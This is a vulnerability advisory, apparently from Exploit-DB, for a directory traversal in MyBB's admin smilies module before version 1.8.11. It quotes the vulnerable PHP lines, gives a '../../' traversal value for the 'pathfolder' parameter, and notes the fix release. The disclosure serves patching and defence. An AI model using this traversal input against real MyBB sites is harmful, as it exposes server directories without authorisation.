MyBB smilie Module < 1.8.11 - 'pathfolder' Directory Traversal

Author: Zhiyang Zeng
type: webapps
platform: php
port: 80.0
date_added: 2017-04-11 
date_updated: 2017-04-11 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.commybb_1801.zip

Description:
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product: MyBB
Homepage: https://mybb.com/
vulnerable  version: < 1.8.11
Severity: Low risk

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Proof of Concept:
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vulnerability address:http://127.0.0.1/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple

vulnerability  file directory:/webroot/mybb_1810/Upload/admin/modules/config/smilies.php

vulnerability  Code:

Line 326 $path = $mybb->input['pathfolder'];

Line 327 $dir = @opendir(MYBB_ROOT.$path);

if we input "pathfolder" to "../../bypass/smile",Directory Traversal success!

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Fixed:
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This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

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